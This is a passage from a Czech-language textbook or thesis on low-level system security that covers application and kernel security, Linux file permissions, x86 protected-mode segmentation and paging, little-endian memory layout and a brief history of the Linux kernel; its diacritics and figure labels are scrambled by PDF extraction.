1.2.2 Bezpecˇnost na aplikacˇnı´ u´rovni Aplikaci pokla´da´me za bezpecˇnou, splnˇuje-li zejme´na dveˇ na´sledujı´cı´ podmı´nky. Prvnı´ je tzv. vneˇjsˇ´ı chova´nı´ programu, ktere´ by meˇlo odpovı´dat uzˇivatelske´ prˇ´ırucˇce. Cˇ astou chybou je nedokumentovane´ odkla´da´nı´ dat do souboru. Druhou podmı´nkou bezpecˇnosti programu je jeho vnitrˇnı´ chova´nı´ – vlastnı´ implementace. Sˇpatna´ implementace mu˚zˇe znamenat naprˇ. chybne´ osˇetrˇenı´ vstupu od uzˇivatele, ktere´ pak v du˚sledku povede k za´pisu mimo prˇideˇlenou pameˇt. Mu˚zˇe dojı´t k pa´du programu cˇi dokonce ke spusˇteˇnı´ jine´ho programu3 . Programa´tor, ktery´ vytva´ˇr´ı aplikace, spole´ha´ na bezpecˇneˇ implementovane´ API (Application Programming Interface) poskytovane´ knihovnı´mi funkcemi syste´mu. Da´le si mu˚zˇe by´t jist, zˇe jeho aplikaci vzˇdy operacˇnı´ syste´m spustı´ tak, zˇe prˇ´ıpadna´ chyba aplikace nepovede k posˇkozenı´ ostatnı´ch spusˇteˇny´ch procesu˚4 . Z hlediska bezpecˇnosti programu je prˇi programova´nı´ nejcˇasteˇjsˇ´ı chybou sˇpatne´ osˇetrˇenı´ vstupu uzˇivatele. Na druhe´m mı´steˇ je pouzˇ´ıva´nı´ knihovnı´ch funkcı´, ktere´ jsou z urcˇite´ho hlediska nevhodne´. 3 4
Vı´ce v kapitole 7 na straneˇ 65 Procesem rozumı´me prˇedstavu spusˇteˇne´ho programu s vlastnı´m chra´neˇny´m pameˇtovy´m prostorem
3
Poslednı´m a velmi cˇasty´m pochybenı´m je opomenutı´ odstranit ladı´cı´ a testovacı´ rutiny z vy´vojove´ fa´ze produktu. Fata´lnı´ je naprˇ´ıklad ponecha´nı´ rutin, ktere´ prˇeskocˇ´ı oveˇˇrenı´ identity uzˇivatele.
1.2.3 Bezpecˇnost na u´rovni ja´dra Bezpecˇnost ja´dra souvisı´ prˇ´ımo se stabilitou cele´ho syste´mu. Chyba na te´to u´rovni mu˚zˇe zpu˚sobit zhroucenı´ spusˇteˇny´ch procesu˚. V du˚sledku toho mu˚zˇe vyvstat nutnost prove´st novy´ start syste´mu. K nejza´vazˇneˇjsˇ´ım chyba´m patrˇ´ı posˇkozenı´ souborove´ho syste´mu. Ja´dro ma´ na starosti vytvorˇenı´ prostrˇedı´ pro beˇh uzˇivatelsky´ch programu˚. Znamena´ to, zˇe pro kazˇdy´ uzˇivatelsky´ proces prova´dı´ ochranu jeho pameˇt’ove´ho prostoru, umozˇnˇuje prˇ´ıstup k perifernı´m zarˇ´ızenı´m prˇes unifikovany´ virtua´lnı´ souborovy´ syste´m, prˇideˇluje procesor jednotlivy´m procesu˚m a poskytuje sve´ funkce prostrˇednictvı´m syste´movy´ch vola´nı´. Na pozadı´ tvorby tohoto prostrˇedı´ ja´dro komunikuje s ovladacˇi jednotlivy´ch zarˇ´ızenı´, ˇr´ıdı´ stra´nkovanou virtua´lnı´ pameˇt a prova´dı´ kontrolu opra´vneˇnı´ pozˇadovany´ch akcı´ jednotlivy´ch procesu˚. Uzˇivatelske´ procesy beˇzˇ´ı v tzv. uzˇivatelske´m rezˇimu, ja´dro beˇzˇ´ı v rezˇimu ja´dra. Situace je nacˇrtnuta na obra´zku 1.1. Oba tyto rezˇimy majı´ vlastnı´ oddeˇlene´ ko´dove´ a datove´ segmenty. V uzˇivatelske´m rezˇimu procesor automaticky omezuje pouzˇ´ıva´nı´ privilegovany´ch instrukcı´, jako naprˇ. prˇ´ıstup k I/O portu˚m cˇi nastavenı´ stra´nkova´nı´ pameˇti. Aby uzˇivatel meˇl mozˇnost prove´st naprˇ. cˇtenı´ dat z disku, jezˇ prˇedstavuje I/O operaci, musı´ jeho program vyuzˇ´ıt syste´move´ vola´nı´, ktere´ ja´dro poskytuje. Cely´ mechanismus funguje na mysˇlence provedenı´ privilegovany´ch instrukcı´ uzˇivatelem pouze v ra´mci syste´movy´ch vola´nı´. Vola´nı´ funkce ja´dra je vysveˇtleno na obra´zku 1.2.
Uživatelský proces Volání funkce jádra Uživatelský režim
Jádro
4 1 3
Obslužná rutina Režim jádra
2
NL9JL IJ9
Obra´zek 1.2: Vola´nı´ funkce ja´dra Prˇed spusˇteˇnı´m obsluzˇne´ rutiny ja´dro provede kontrolu opra´vneˇnı´. Jako prˇ´ıklad si vezmeˇme syste´4
move´ vola´nı´ open() u linuxove´ho ja´dra. Zprˇ´ıstupneˇnı´ souboru pomocı´ deskriptoru souboru je podmı´neˇno kontrolou opra´vneˇnı´ prˇ´ıstupu pro cˇtenı´ nebo za´pis. Vyjı´mku v te´to kontrole majı´ pouze procesy, ktere´ patrˇ´ı superuzˇivateli (anglicky root) – kontrola se neprova´dı´ 5 . Na Linuxu rozpozna´va´me 3 za´kladnı´ prˇ´ıstupova´ pra´va – cˇtenı´ (Read), za´pis (Write) a povolenı´ spousˇteˇnı´ (Execute). Tato trojice pra´v (oznacˇova´na jako RWX) se uda´va´ zvla´sˇt’ pro majitele souboru, danou skupinu uzˇivatelu˚ a zvla´sˇt’ pro ostatnı´ uzˇivatele. Tento syste´m prˇ´ıstupovy´ch pra´v se oznacˇuje UGO (User Group Others). Jiny´ mozˇny´ zpu˚sob prˇ´ıstupu je zalozˇen na seznamech uzˇivatelu˚ a skupin k dane´mu souboru. Oznacˇujeme jej ACL (Access Control Lists). Nejvı´ce je pouzˇ´ıva´n na operacˇnı´ch syste´mech od firmy Microsoft. Existuje i neoficia´lnı´ podpora ACL pro Linux 6 .
1.3 Nı´zkou´rovnˇova´ bezpecˇnost Nı´zkou´rovnˇova´ bezpecˇnost je oblast znalostı´ ty´kajı´cı´ se rozhranı´ uzˇivatelske´ procesy – ja´dro OS. Ja´dro vytva´ˇr´ı pro uzˇivatelske´ procesy chra´neˇne´ prostrˇedı´ a poskytuje sve´ funkce prostrˇednictvı´m syste´movy´ch vola´nı´. Proces je v tomto chra´neˇne´m prostrˇedı´ plny´m pa´nem. Proces beˇzˇ´ıcı´ pod identitou dane´ho uzˇivatele ma´ k ostatnı´m souboru˚m v souborove´m syste´mu stejna´ prˇ´ıstupova´ pra´va jako sa´m uzˇivatel. Nı´zkou´rovnˇova´ bezpecˇnost se zaby´va´ mozˇnostmi ochrany procesu˚, tak aby nemohlo dojı´t k prˇeda´nı´ sveˇˇrene´ho opra´vneˇnı´ prˇ´ıstupu jine´mu procesu. Mozˇnosti ochrany vycha´zejı´ prˇedevsˇ´ım z analy´zy u´toku˚. Nejsna´ze se analy´za prova´dı´ u projektu˚ s otevrˇeny´m zdrojovy´m ko´dem. Zdrojovy´ ko´d v tomto prˇ´ıpadeˇ mu˚zˇe by´t vystaven du˚kladne´ kontrole. To je velmi zˇa´doucı´ naprˇ. u kryptograficky´ch syste´mu˚. Otevrˇeny´ kryptograficky´ syste´m musı´ by´t postaven na pevny´ch matematicky´ch za´kladech. Samotna´ sˇifra nemu˚zˇe spocˇ´ıvat pouze v utajene´ posloupnosti operacı´, jak by tomu mohlo by´t v projektech s uzavrˇeny´m zdrojovy´m ko´dem. Dalsˇ´ı vy´hodou otevrˇene´ho zdrojove´ho ko´du je mozˇnost ucˇit se z neˇj. Mnoho profesiona´lnı´ch i amate´rsky´ch programa´toru˚ sleduje kvalitu zdrojove´ho ko´du pro sve´ poteˇsˇenı´ a mozˇnost ucˇit se. Ve vy´sledku pak otevrˇeny´ zdrojovy´ ko´d vychova´va´ talentovane´ vy´voja´ˇre, kterˇ´ı mohou prˇispeˇt k jeho dalsˇ´ımu vylepsˇenı´. Mnoho lidı´ mylneˇ a automaticky povazˇuje projekty s otevrˇeny´m zdrojovy´m ko´dem za bezpecˇneˇjsˇ´ı. Tato automaticka´ implikace v zˇa´dne´m prˇ´ıpadeˇ neplatı´. Projekty s otevrˇeny´m zdrojovy´m ko´dem majı´ pouze veˇtsˇ´ı potencia´l smeˇˇrovat k veˇtsˇ´ı bezpecˇnosti, jsou-li pro vy´voja´ˇre zajı´mave´. Pro ilustraci uved’me, zˇe v soucˇasne´ dobeˇ se chyby v projektech s uzavrˇeny´m cˇi otevrˇeny´m ko´dem nale´zajı´ stejneˇ cˇasto.
5
Zna´zorneˇnı´ beˇhu beˇzˇny´ch uzˇivatelsky´ch procesu˚ a procesu˚ superuzˇivatele v uzˇivatelske´m rezˇimu je zna´zorneˇno na obra´zku 1.1 v prave´ cˇa´sti 6 http://www.grsecurity.net/gracldoc.htm
5
Kapitola 2
Osobnı´ pocˇ´ıtacˇ 2.1 Von Neumannova architektura Drtiva´ veˇtsˇina dnesˇnı´ch pocˇ´ıtacˇu˚ na sveˇteˇ je postavena a odvozena z von Neumannovy architektury. Pro nasˇe u´cˇely jsou z te´to architektury du˚lezˇite´ zejme´na tyto body: instrukce a data jsou v te´zˇe fyzicke´ pameˇti a nenı´ mezi nimi rozdı´l pameˇt’je rozdeˇlena na za´kladnı´ bunˇky stejne´ velikosti, porˇadove´ cˇ´ıslo bunˇky ma´ vy´znam adresy program je tvorˇen posloupnostı´ instrukcı´, ktere´ se prova´deˇjı´ ve stejne´m sledu, jako byly zapsa´ny zmeˇnu porˇadı´ vykona´va´nı´ instrukcı´ lze vyvolat instrukcı´ skoku data i instrukce jsou v pameˇti ulozˇena ve dvojkove´ soustaveˇ. Vy´lucˇne´ pouzˇ´ıva´nı´ dvojkove´ soustavy z padesa´ty´ch let minule´ho stoletı´ se na´m dochovala dodnes. Du˚vodem je vysoka´ obtı´zˇnost rozpozna´nı´ u´rovnı´ elektricky´ch signa´lu˚, ktere´ prˇedstavujı´ urcˇite´ logicke´ u´rovneˇ. Prˇi programova´nı´ se pouzˇ´ıva´ soustava sˇestna´ctkova´, jejı´zˇ hlavnı´ vy´hodou je kratsˇ´ı za´pis. Viz obra´zek 2.1.
4
A
0100
1010
4
F
0100 1111
Obra´zek 2.1: Prˇevod mezi dvojkovou a sˇestna´ctkovou soustavou
6
2.2 Procesory Intel rˇady x86 Procesory ˇrady x86 firmy Intel jsou prˇedstavitelem architektury CISC - Complex Instruction Set Computer. O komplexnı´ a slozˇitou instrukcˇnı´ sadu se opravdu jedna´. Procesory ˇrady x86 vycha´zejı´ z modelu 8086 z roku 1978 a jsou s nı´m kompatibilnı´. Kompatibility je dosahova´no pomocı´ novy´ch rezˇimu˚ jako naprˇ. virtual8086, virtual286 atd. Setkat se mu˚zˇeme se znacˇenı´m IA 1 -32, viz [15]. Linuxove´ ja´dro beˇzˇ´ı pouze na 32 (64) bitovy´ch architektura´ch, ktere´ podporujı´ stra´nkova´nı´. Nejstarsˇ´ım modelem z ˇrady x86 splnˇujı´cı´m pozˇadavky linuxove´ho ja´dra je procesor 80386. Cˇ asto ho oznacˇujeme zkra´ceny´m za´pisem i386. Procesor i386 s FPU ma´ prˇiblizˇneˇ 200 opko´du˚ 2 . Veˇtsˇina z nich dovoluje mı´t ru˚zne´ operandy. U novy´ch modelu˚ je pocˇet opko´du˚ jesˇteˇ vysˇsˇ´ı (naprˇ. opko´dy pro MMX nebo SSE2). V dalsˇ´ım textu se pod oznacˇenı´m ˇrady x86 budou rozumeˇt pouze procesory vysˇsˇ´ı nezˇ i386 vcˇetneˇ. U procesoru˚ ˇrady x86 je povinne´ segmentova´nı´, stra´nkova´nı´ je volitelne´. Vy´hodou segmentova´nı´ je mozˇnost mı´t data a ko´d ulozˇena v jiny´ch segmentech. Toto rozdeˇlenı´ vede ke zvy´sˇenı´ bezpecˇnosti. Stra´nkova´nı´ umozˇnˇuje obejı´t limit dostupne´ fyzicke´ pameˇti. Vytvorˇ´ı se virtua´lnı´ adresnı´ prostor, ktery´ se podle potrˇeby mapuje po stra´nka´ch do fyzicke´ pameˇti. Tuto cˇinnost ma´ na starosti jednotka MMU (Memory Management Unit). Soucˇasne´ operacˇnı´ syste´my segmentova´nı´ nijak intenzivneˇ nevyuzˇ´ıvajı´, jedna´ se pouze o povinnou cˇa´st adresace. Ochrana pameˇti stejneˇ jako tvorba virtua´lnı´ pameˇti se vytva´ˇr´ı pomocı´ stra´nkova´nı´. Procesory ˇrady x86 te´zˇ majı´ podporu pro prˇepı´na´nı´ procesu˚. Procesor se mu˚zˇe nacha´zet v jednom ze trˇ´ı na´sledujı´cı´ch rezˇimu˚: Chra´neˇny´ mo´d (Protected Mode) – V tomto rezˇimu by meˇly pracovat vsˇechny modernı´ operacˇnı´ syste´my. Upozorneˇme, zˇe naprˇ. DOS od firmy Microsoft pouzˇ´ıva´ rea´lny´ mo´d procesoru. Procesor definuje cˇtyrˇi u´rovneˇ opra´vneˇnı´ (privilege levels), cˇ´ıslovane´ od 0 do 3. U´ rovenˇ 0 je nejvı´ce privilegovana´, u´rovenˇ 3 nejme´neˇ. Neˇktere´ instrukce mohou by´t provedeny pouze na u´rovni opra´vneˇnı´ 0. Idea teˇchto u´rovnı´ opra´vneˇnı´ spocˇ´ıvala ve vytvorˇenı´ ochranny´ch kruhu˚ pro jednotlive´ vrstvy operacˇnı´ho syste´mu. V tomto ohledu se pouzˇ´ıva´ oznacˇenı´ ring0 azˇ ring3. Linux vyuzˇ´ıva´ pouze dva z teˇchto kruhu˚. V ringu0 beˇzˇ´ı ja´dro OS, v ringu3 beˇzˇ´ı vsˇechny uzˇivatelske´ procesy. Soucˇa´stı´ tohoto mo´du je tzv. virtua´lnı´ rezˇim 8086 umozˇnˇujı´cı´ spousˇteˇnı´ aplikacı´ psany´ch v rea´lne´m rezˇimu procesoru 8086, ktery´ emuluje cˇisty´ procesot 8086. Jak jizˇ bylo ˇrecˇeno je segmentova´nı´ povinnou soucˇa´stı´ adresace. Vlastnosti jednotlivy´ch segmentu˚ jsou popsa´ny deskriptorem segmentu. Deskriptory 3 obsahujı´ mimo jine´ pocˇa´tek segmentu, jeho velikost, u´rovenˇ opra´vneˇnı´ (DPL - Descriptor Privilege Level), typ a granularitu. Organizova´ny jsou do tabulek o velikosti 64kB (prˇi velikosti za´znamu 8B mu˚zˇe tabulka obsahovat azˇ 8192 polozˇek). Kazˇdy´ proces mu˚zˇe mı´t svoji tabulku loka´lnı´ch deskriptoru˚ segmentu˚ – LDT. Adresa tabulky je obsazˇena v registru LDTR. Pro vsˇechny procesy da´le vzˇdy existuje globa´lnı´ sdı´lena´ tabulka deskriptoru˚ segmentu˚ – GDT. Jejı´ adresa je urcˇena registrem GDTR. Procesor ma´ sadu registru˚, ktere´ mohou obsahovat cˇa´st informacı´ z deskriptoru˚ segmentu˚. Tyto registry majı´ skrytou a viditelnou cˇa´st. Viditelnou cˇa´st oznacˇujeme termı´nem selektor segmentu. 1
Intel Architecture Opko´d = operacˇnı´ znak 3 Struktura je uvedena na obra´zku 2.9 strana 14
2
7
Cˇasto se take´ zjednodusˇeneˇ pouzˇ´ıva´ termı´n segmentovy´ registr pouze pro tuto viditelnou cˇa´st. Vı´ce obra´zek 2.2.
Selektor segmentu 3210
15
T
Index
I
69 (B
RPL
Tabulka 7*9J0=GDT ; 9 A7J1=LDT E
11=ring3
Obra´zek 2.2: Vy´znam jednotlivy´ch bitu˚ selektoru segmentu Hornı´ch 13 bitu˚ selektoru obsahuje index do tabulky GDT resp. LDT. Bit cˇ´ıslo 2 uda´va´, jaka´ tabulka deskriptoru˚ se ma´ pouzˇ´ıt – 0=GDT, 1=LDT. Bity 1 a 0 tvorˇ´ı pozˇadovanou u´rovenˇ opra´vneˇnı´ – RPL (Requested Privilege Level). RPL obsazˇene´ v segmentove´m registru CS nazy´va´me aktua´lnı´ hodnotou opra´vneˇnı´ CPL (Current Privilege Level). Kopie CPL se nacha´zı´ take´ v segmentove´m registru SS. Hodnota 00 je nejvysˇsˇ´ı opra´vneˇnı´, hodnota 11 nejnizˇsˇ´ı. Efektivnı´ hodnota opra´vneˇnı´ EPL (Effective Privilege Level) se vypocˇ´ıta´ jako numericke´ maximum RPL a CPL. EPL se potom porovna´ s hodnotou DPL ulozˇenou v deskriptoru segmentu. Idea CPL, RPL a DPL spocˇ´ıva´ v na´sledujı´cı´m pravidle: Nelze prˇistupovat k datovy´m segmentu˚m s vysˇsˇ´ım opra´vneˇnı´m, nebo prove´st instrukce z ko´dovy´ch segmentu˚ s nizˇsˇ´ım opra´vneˇnı´m, nezˇ je aktua´lnı´ opra´vneˇnı´. Logicka´ adresa (tj. adresa pouzˇita´ v programu) je tvorˇena dvojicı´ selektor – offset. Nenı´-li povoleno stra´nkova´nı´, tak z logicke´ adresy pomocı´ tabulky deskriptoru˚ zı´ska´me prˇ´ımo fyzickou adresu. V opacˇne´m prˇ´ıpadeˇ hovorˇ´ıme o zı´ska´nı´ linea´rnı´ adresy, kterou da´le dvouu´rovnˇovy´m stra´nkovacı´m mechanismem prˇevedeme na adresu fyzickou. Vı´ce na obra´zku 2.3. Toto stra´nkova´nı´ vyzˇaduje dva prˇ´ıstupy do tabulek, ktere´ jsou ulozˇeny v operacˇnı´ pameˇti a prˇ´ıstup k nim mu˚zˇe procesor zdrzˇovat. Za u´cˇelem zrychlenı´ tohoto mechanismu ma´ procesor zabudova´nu rychlou vyrovna´vacı´ pameˇt’ zvanou TLB (Translation Lookaside Buffer), ve ktere´ jsou uchova´ny posledneˇ pouzˇ´ıvane´ linea´rnı´ adresy a k nim odpovı´dajı´cı´ adresy fyzicke´. Fyzicka´ adresa adresa´ˇre stra´nek je umı´steˇna v registru CR3. V prˇ´ıpadeˇ, zˇe operacˇnı´ syste´m nechce pouzˇ´ıvat segmentovanou pameˇt’, stacˇ´ı nastavit segmentove´ registry na stejny´ deskriptor segmentu. Operacˇnı´ syste´my vyuzˇ´ıvajı´cı´ segmentova´nı´ majı´ cˇasto take´ neˇktere´ segmentove´ registry nastaveny na stejny´ deskriptor. Prˇ´ıklad je na obra´zku 2.4. Hodnoty platı´ pro uzˇivatelsky´ proces v linuxove´m syste´mu. Hodnota 0x23 v registru CS bina´rneˇ vypada´ takto: 100011. Znamena´ to, zˇe registr CS obsahuje selektor s vy´znamem: odkazuji na segment pameˇti definovany´ cˇtvrty´m deskriptorem v tabulce globa´lnı´ch deskriptoru˚ segmentu˚ a opra´vneˇnı´ prˇ´ıstupu ma´m na u´rovni ring3. Hodnota 0x2b v registrech SS, DS, ES bina´rneˇ vypada´ takto: 101011. Vy´znam je na´sledujı´cı´: odkaz na segment pameˇti definovany´ pa´ty´m deskriptorem v tabulce globa´lnı´ch deskriptoru˚ s pozˇadovany´m prˇ´ıstupem na u´rovni ring3.
8
Logická adresa 15
31
0
0
Offset
Selektor GDT/LDT
8 192 položek
32b bázová adresa
deskriptor segmentu
+
Lineární adresa 31
64
10b
0
tabulka stránek
0 stránka 10b
offset 12b
rámec stránky − 4kB
Fyzická adresa rámec tabulka
Obra´zek 2.3: Prˇeklad adresy v chra´neˇne´m rezˇimu procesoru s povoleny´m stra´nkova´nı´m
cs ss ds es fs gs
0x23 0x2b 0x2b 0x2b 0x0 0x0
Obra´zek 2.4: Prˇ´ıklad obsahu segmentovy´ch registru˚ na linuxove´m ja´drˇe
9
Rea´lny´ mo´d (Real-address Mode) – Na procesoru Pentium umozˇnˇuje tento mo´d spousˇteˇt programy psane´ pro procesory 8086, 8088, 80186, 80188 a pro rea´lny´ mo´d procesoru˚ i286, i386, i486. Pro nizˇsˇ´ı modely to platı´ obdobneˇ. 32-bitovy´ procesor v rea´lne´m mo´du se programa´torovi jevı´ jako velmi rychly´ procesor 8086 nebo rea´lny´ mo´d na i286 s rozsˇ´ıˇrenou instrukcˇnı´ sadou. V tomto mo´du obsah segmentovy´ch registru˚ nema´ vy´znam selektoru˚ odkazujı´cı´ch na deskriptory segmentu˚, ale tvorˇ´ı ba´zi adresy. Obsah segmentove´ho registru se vyna´sobı´ 16ti (logicky´ posun vlevo o 4 mı´sta) a prˇicˇte se offset (viz obra´zek 2.5). Takto vznikne 20ti bitova´ linea´rnı´ adresa. Prˇ´ıpadny´ bit prˇenosu bude ulozˇen v prˇ´ıznaku CF prˇ´ıznakove´ho registru EFLAGS. 19 báze
16b seg. selektor
+
19
offset
00 00
= lineární adresa
32 10 00 00 0 16b efektivní adresa
20
0
Obra´zek 2.5: Prˇeklad adresy v rea´lne´m mo´du procesoru Servisnı´ mo´d (System Management Mode) – Mo´d urcˇeny´ pro spra´vu sˇetrˇenı´ energie a ochranu prˇed prˇehrˇa´tı´m. Plneˇ pouzˇitelne´ azˇ od modelu Pentium. Za´kladnı´ funkcˇnı´ prostrˇedı´ je tvorˇeno osmi vsˇeobecny´mi 32-bitovy´mi registry, sˇesti 16-bitovy´mi segmentovy´mi registry, registrem prˇ´ıznaku˚ a registrem cˇ´ıtacˇe instrukcı´. Viz obra´zek 2.6. Segmentove´ registry kromeˇ viditelne´ 16b cˇa´sti majı´ jesˇteˇ skrytou cˇa´st, do ktere´ se kopı´rujı´ potrˇebne´ informace z deskriptoru segmentu. Na procesorech ˇrady x86 se cˇ´ısla do pameˇti ukla´dajı´ v porˇadı´, ktere´ se oznacˇuje termı´nem ”little endian”. Znamena´ to, zˇe nejvy´znamneˇjsˇ´ı byty jsou umı´steˇny na nejvysˇsˇ´ı adresy. Prˇ´ıklad je uveden na obra´zku 2.8. Strukturu pameˇti si mu˚zˇeme prˇedstavit podle obra´zku 2.7. Adresy rostou smeˇrem nahoru. Bity jsou ocˇ´ıslova´ny zprava doleva. Tok instrukcı´ je take´ vzˇdy vykona´va´n smeˇrem k vysˇsˇ´ım adresa´m (mimo instrukci skoku). Rˇ´ıkali jsme si, zˇe mezi daty a instrukcemi nenı´ v pameˇti zˇa´dny´ rozdı´l (za rozdı´l lze povazˇovat pouze to, zˇe ne kazˇde´ cˇ´ıslo ma´ vy´znam opko´du pro procesor z ˇrady x86). Uved’me si to nynı´ na prˇ´ıkladeˇ. Meˇjme na adrese 0x204 ulozˇeno hexadecima´lnı´ cˇ´ıslo 0x21204A4F4841. Tomuto cˇ´ıslu v desı´tkove´ soustaveˇ odpovı´da´ cˇ´ıslo 36422569379905. Je to cˇ´ıslo velmi velke´, na jeho ulozˇenı´ do pameˇti budeme potrˇebovat 6B5 . Na obra´zku 2.8 vidı´me, jak se toto cˇ´ıslo ulozˇ´ı do pameˇti. Jeho nejnizˇsˇ´ı bity jsou ukla´da´ny od adresy 0x20 a vy´sˇe. Nejvy´znamneˇjsˇ´ı bity jsou ulozˇeny na adrese 0x25. V assembleru bychom ulozˇenı´ tohoto cˇ´ısla dosa´hli naprˇ´ıklad na´sledujı´cı´m za´pisem 6 : .long 0x4A4F4841 .long 0x2120 4
Prefix 0x v textu oznacˇuje cˇ´ısla v hexadecima´lnı´ soustaveˇ podle konvence jazyka C 1B (byte) = 8b (bit), bit je za´kladnı´ jednotka informace - hodnota 0 nebo 1 6 Za´pis je platny´ pro AT&T syntaxi, vı´ce v odstavci 3.2.1 na straneˇ 17 5
10
31
0
EAX EBX ECX EDX ESI EDI EBP ESP 15
0
CS DS SS ES FS GS 31
0
31
0
EFLAGS EIP
Obra´zek 2.6: Za´kladnı´ registry procesoru z ˇrady x86
Vyšší bity 31
8 6 4
Vyšší byty
0
Byte 3 Byte 2 Byte 1 Byte 0 0
Rostoucí adresy
Obra´zek 2.7: Porˇadı´ bytu˚ a bitu˚
28
4A
4F
21
20
24
48
41
20 1C
Obra´zek 2.8: Ulozˇenı´ cˇ´ısla na architektura´ch ”little-endian”. Vsˇechna cˇ´ısla jsou uvedena v hexadecima´lnı´ soustaveˇ.
11
Zalozˇme v assembleru ˇreteˇzec ”AHOJ !”. Jak bude ulozˇen v pameˇti? Vy´sledek bude shodny´ s obra´zkem 2.8. Prvnı´ pı´smeno se ulozˇ´ı na nejnizˇsˇ´ı adresu. ASCII ko´d pı´smene ’A’ je 0x41. Na adrese 0x20 bude tedy hodnota 0x41. Dalsˇ´ı pı´smena se postupneˇ ulozˇ´ı na vysˇsˇ´ı adresy. Vsˇechna cˇ´ısla jsou uvedena v sˇestna´ctkove´ soustaveˇ. Podı´vejme se nynı´, jake´ instrukce 7 by se vykonaly po nastavenı´ registru EIP na adresu 0x20. Pocˇa´tecˇnı´ adresa 0x20 0x21 0x22 0x23 0x24
Obsah 0x41 0x48 0x4F 0x4A 0x2021
Instrukce incl %ecx decl %eax decl %edi decl %edx andb (%ecx), %ah
Tabulka 2.1: Disassemblace obsahu cˇa´sti pameˇti
2.3 Operacˇnı´ syste´m s linuxovy´m ja´drem Linuxove´ ja´dro8 je odvozeno z ja´dra operacˇnı´ho syste´mu UNIX. UNIX vznikl v roce 1969 9 ve firmeˇ Bell Laboratories. Pro snazsˇ´ı a rychlejsˇ´ı programova´nı´ UNIXu vznikl jazyk C. Jeho autory jsou pa´nove´ Denis Ritchie a Brian W. Kernighan. Beˇhem dvou let byl UNIX prˇepsa´n v jazyce C a v roce 1974 byly publikova´ny prvnı´ cˇla´nky o UNIXu. Prvnı´ verze linuxove´ho ja´dra byly napsane´ panem Linusem Torvaldsem. Vy´voj probı´hal na syste´mu MINIX. Jizˇ v rany´ch verzı´ch bylo ja´dro velmi kvalitnı´ a Richard M. Stallman, zakladatel syste´mu GNU 10 , pozˇa´dal Torvaldse o publikova´nı´ linuxove´ho ja´dra pod licencı´ GPL a prˇipojenı´ do operacˇnı´ho syste´mu GNU. GNU je rekurzivnı´ zkratka na´zvu GNU’s Not UNIX. Od te´ doby je linuxove´ ja´dro vyvı´jeno lidmi po cele´m sveˇteˇ. Jeho oficia´lnı´m spra´vcem zu˚stal Linus Torvalds. Linuxove´ ja´dro splnˇuje veˇtsˇinu pozˇadavku˚ normy POSIX (Portable Operating System Unix). Linuxove´ ja´dro, podle slov jeho autora, patrˇ´ı do kategorie monoliticky´ch jader 11 . V soucˇasne´ dobeˇ je snaha prosazovat ja´dra zalozˇena´ na mikrokernelu. Tato ja´dra jsou velmi mala´ a obsahujı´ pouze nejza´kladneˇjsˇ´ı funkce spocˇ´ıvajı´cı´ v zası´la´nı´ zpra´v mezi jednotlivy´mi cˇa´stmi. Dalsˇ´ı funkce jsou implementova´ny ve stylu ”klient-server” nad tı´mto mikroja´drem. Vy´hodou mikrojader je jejich prˇehlednost a snadna´ u´drzˇba, cozˇ v praxi znamena´ mnohem me´neˇ chyb a veˇtsˇ´ı stabilitu. Zna´my´m a pouzˇ´ıvany´m mikroja´drem je naprˇ´ıklad MACH 12 . Z volneˇ sˇirˇitelny´ch jader je nad nı´m naprˇ´ıklad postaveno ja´dro HURD13 . Toto ja´dro nenı´ v soucˇasne´ dobeˇ jesˇteˇ dokoncˇeno. Aby linuxove´ ja´dro, i kdyzˇ monoliticke´, zu˚stalo co nejmensˇ´ı a nejprˇehledneˇjsˇ´ı, zava´dı´ syste´m 7
Opeˇt je pouzˇita syntaxe AT&T http://www.kernel.org 9 http://cm.bell-labs.com/cm/cs/who/dmr/hist.html 10 http://www.gnu.org 11 http://alge.anart.no/linux/history/linux is obsolete.txt 12 http://www-2.cs.cmu.edu/afs/cs/project/mach/public/www/mach.html 13 http://www.gnu.org/software/hurd/hurd.html 8
12
vkla´dany´ch modulu˚, prˇicˇemzˇ modul mu˚zˇe obsahovat naprˇ´ıklad ovladacˇ sı´t’ove´ karty. Po dobu pouzˇ´ıva´nı´ sı´t’ove´ karty se modul zavede do pameˇti a stane se soucˇa´stı´ ja´dra. Pote´ se z pameˇti zase uvolnı´. Linuxove´ ja´dro podporuje preemptivnı´ multitasking (prˇepı´na´nı´ u´loh pla´novacˇem) a pra´ci vı´ce uzˇivatelu˚ najednou. Implementova´ny jsou dva rezˇimy – rezˇim ja´dra (kernel mode) a uzˇivatelsky´ rezˇim (user mode). V uzˇivatelske´m rezˇimu beˇzˇ´ı procesy jednotlivy´ch uzˇivatelu˚. Procesy jsou spousˇteˇny s opra´vneˇnı´m procesoru na u´rovni ring3. V rezˇimu ja´dra beˇzˇ´ı pla´novacˇ procesu˚, syste´m ochrany pameˇti, virtua´lnı´ souborovy´ syste´m a dalsˇ´ı. Rezˇim ja´dra ma´ opra´vneˇnı´ na u´rovni ring0, tedy nejvysˇsˇ´ı. Jine´ u´rovneˇ opra´vneˇnı´ linuxove´ ja´dro nepouzˇ´ıva´. V oficia´lnı´ vy´vojove´ veˇtvi je snaha i o modifikaci ja´dra pro zpracova´nı´ procesu˚ v rea´lne´m cˇase. Komercˇnı´ verze jizˇ existuje – RT Linux 14 . Zvla´sˇtnostı´ oproti jiny´m operacˇnı´m syste´mu˚m je podpora mnoha souborovy´ch syste´mu˚ (naprˇ. ext2, ext3, reiserfs, jfs, vfat ... ). Ze spustitelny´ch forma´tu˚ jsou podporova´ny celkem 3 druhy. Spustitelne´ bina´rnı´ forma´ty jsou ELF [4] a COFF. COFF je starsˇ´ı forma´t a stal se za´kladem pro forma´t ELF. Take´ spustitelny´ forma´t PE pro operacˇnı´ syste´my firmy Microsoft je odvozen z forma´tu COFF. Ja´dro jednotlive´ forma´ty rozezna´va´ podle specificky´ch sekvencı´ (magic numbers) na zacˇa´tku souboru. Trˇetı´m typem spustitelny´ch souboru˚ jsou interpretovane´ skripty (mu˚zˇe se ale take´ jednat o rozsa´hly´ program). Zava´deˇcı´ funkce spustitelny´ch forma´tu˚ na pocˇa´tku souboru rozezna´ sekvenci ’#!’, za nı´zˇ ocˇeka´va´ cestu k interpretu na´sledujı´cı´ch ˇra´dek programu. Kromeˇ OS GNU/Linux existujı´ i jine´ deriva´ty OS UNIX. Nejzna´meˇjsˇ´ı jsou ty, ktere´ vycha´zejı´ z BSD (Berkeley System Distribution). Jmenujme FreeBSD, OpenBSD a NetBSD.
